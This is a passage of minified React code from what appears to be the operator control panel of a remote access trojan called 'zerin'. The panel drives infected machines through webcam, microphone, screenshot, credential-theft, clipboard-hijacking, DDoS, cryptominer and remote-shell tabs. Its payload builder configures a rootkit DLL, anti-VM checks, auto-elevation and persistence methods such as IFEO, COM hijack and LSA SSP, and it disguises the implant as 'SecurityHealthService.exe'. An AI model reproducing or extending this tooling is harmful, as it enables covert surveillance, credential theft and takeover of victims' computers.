24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ae&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:Y,onChange:M=>ie(Number(M.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(M=>s.jsxs("option",{value:M,children:["Camera ",M]},M))]}),s.jsx("button",{onClick:async()=>{fe(!1);try{await Yj(i.id,Y);const M=Ze(),ee=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await Gj(i.id);const M=Ze(),ee=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await ke(i.id,{command:"screenshot"}),G("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>U(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(ln,{label:"Overview",active:j==="overview",onClick:()=>G("overview")}),s.jsx(ln,{label:"Screenshots",active:j==="screenshots",onClick:()=>G("screenshots"),badge:A.length>0?A.length:void 0}),s.jsx(ln,{label:"Files",active:j==="files",onClick:()=>G("files")}),s.jsx(ln,{label:"Processes",active:j==="processes",onClick:()=>G("processes")}),s.jsx(ln,{label:"Windows",active:j==="windows",onClick:()=>G("windows")}),s.jsx(ln,{label:"Apps",active:j==="apps",onClick:()=>G("apps")}),s.jsx(ln,{label:"System",active:j==="system",onClick:()=>G("system")}),s.jsx(ln,{label:"Troll",active:j==="troll",onClick:()=>G("troll")}),s.jsx(ln,{label:"Credentials",active:j==="credentials",onClick:()=>G("credentials")}),s.jsx(ln,{label:"Clipper",active:j==="clipper",onClick:()=>G("clipper")}),s.jsx(ln,{label:"DDoS",active:j==="ddos",onClick:()=>G("ddos")}),s.jsx(ln,{label:"Miner",active:j==="miner",onClick:()=>G("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(op,{title:"System",children:[s.jsx(Vt,{label:"Hostname",value:i.hostname}),s.jsx(Vt,{label:"Username",value:i.username}),s.jsx(Vt,{label:"OS",value:fo(i.os)}),s.jsx(Vt,{label:"Architecture",value:i.arch}),s.jsx(Vt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Vt,{label:"Integrity",value:i.integrity}),s.jsx(Vt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(op,{title:"Network",children:[s.jsx(Vt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Vt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(op,{title:"Timing",children:[s.jsx(Vt,{label:"Sleep / Jitter",value:t5(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Vt,{label:"First Seen",value:uo(i.first_seen)}),s.jsx(Vt,{label:"Last Seen",value:Ac(i.last_seen)}),s.jsx(Vt,{label:"Agent ID",value:Os(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${$!=null&&$.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:$!=null&&$.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.port?`127.0.0.1:${$.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[cm($.bytes_in)," in / ",cm($.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await _E(i.id),q({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const M=await Xj(i.id);q({active:!0,port:M.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:P.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...P].reverse().map(M=>{var W;const ee=(W=M.args)!=null&&W.length?" "+M.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[M.command,ee]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${TU[M.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:M.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:uo(M.created_at)})]},M.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(xU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(vU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(gU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(yU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(bU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(jU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(PU,{agentId:i.id,agentStatus:i.status,autoGrab:B,onAutoGrabConsumed:()=>{V(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(_U,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(C3,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(OU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:A.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:A.map(M=>s.jsxs("button",{onClick:()=>O(M.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:I.has(M.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:M.dataUrl,alt:`Screenshot ${Os(M.taskId)}`,className:`w-full h-full object-cover opacity-90 group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(ee=>new Set(ee).add(M.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Os(M.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Ac(M.timestamp)})]})})]},M.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>T(M=>!M),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(hU,{lines:D,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&Z.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 bg-zerin-panel border border-zerin-panel-border z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:Z.map(M=>s.jsx("button",{onClick:()=>me(M),className:`px-2.5 py-1 text-xs font-mono bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:text-zerin-accent hover:border-zerin-accent/40 hover:bg-zerin-accent-muted transition-colors`,children:M},M))})]})}),K&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:K}),s.jsxs("form",{onSubmit:le,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:de,type:"text",value:x,onChange:M=>g(M.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5 text-zerin-text font-mono text-sm placeholder-zerin-text-muted focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium px-4 py-1.5 disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(n5,{agentId:i.id,agentHostname:i.hostname,open:E,onClose:()=>U(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:M=>M.stopPropagation(),children:[s.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim hover:text-zerin-text text-sm transition-colors px-2 py-1 hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function ln({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function op({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Vt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const E3={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},d2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},LU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function IU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await bE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(Yu);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(f2,{label:"All",active:i==="all",onClick:()=>a("all")}),LU.map(m=>s.jsx(f2,{label:E3[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(DU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function DU({event:e,expanded:t,onToggle:n}){const r=d2[e.severity]||d2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:E3[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:EA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function f2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` px-3 py-1 text-xs font-medium border transition-all duration-150 ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} `,children:e})}const p2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function m2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const h2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],RU=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function $U(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(Qj,Zj),g=x.status==="building",[y,v]=p.useState(m2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,O]=p.useState(""),[_,T]=p.useState(p2),[E,U]=p.useState(!1),[K,R]=p.useState("exe"),[I,F]=p.useState(0),[B,V]=p.useState(!0),[$,q]=p.useState(!0),[Y,ie]=p.useState(!0),[ae,fe]=p.useState(!0),[de,G]=p.useState(1),[te,P]=p.useState("Microsoft\\WindowsUpdate"),[C,D]=p.useState("SecurityHealthService.exe"),[A,Z]=p.useState(null),le=p.useCallback(async()=>{try{const W=await kE();t(W)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{le(),NE().then(W=>{w(X=>X.length===1&&X[0]===""?[W.default_callback_url]:X)}).catch(()=>{})},[le]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const W=setInterval(()=>{const ne=Math.floor((Date.now()-x.startedAt)/1e3);u(ne);const H=Math.min(95,Math.floor(100*(1-Math.exp(-ne/50))));l(H)},500),X=Math.floor((Date.now()-x.startedAt)/1e3);return u(X),l(Math.min(95,Math.floor(100*(1-Math.exp(-X/50))))),()=>clearInterval(W)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Eg(),le()):x.status==="error"&&(f(x.error||"Failed to build payload"),Eg())},[x.status]),p.useEffect(()=>{if(!m)return;const W=setTimeout(()=>h(""),4e3);return()=>clearTimeout(W)},[m]);function me(){v(m2()),k("30"),N("25"),O(""),T(p2),U(!1),R("exe"),F(0),V(!0),q(!0),ie(!0),fe(!0),G(1),P("Microsoft\\WindowsUpdate"),D("SecurityHealthService.exe")}async function ge(W){W.preventDefault(),f("");const X=b.filter(Q=>Q.trim()!=="");let ne=0;z&&(ne=Math.floor(new Date(z).getTime()/1e3));const H={name:y.trim(),callback_urls:X,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:ne,user_agent:_.trim(),output_format:K,debug:E,persist_methods:I||void 0,rootkit_enabled:B,encryption_enabled:$,anti_vm:Y,auto_elevate:ae,install_dir:de,install_subdir:te,install_filename:C};pA(H.name);try{await jE(H),mA(),me()}catch(Q){Q instanceof Jr?Pg(Q.message):Pg("Failed to build payload")}}async function M(W){const X=Ze();if(!X){f("Not authenticated");return}try{const ne=await fetch(`/api/payloads/${W.payload_id}/download`,{headers:{Authorization:`Bearer ${X}`}});if(!ne.ok){f("Download failed");return}const H=await 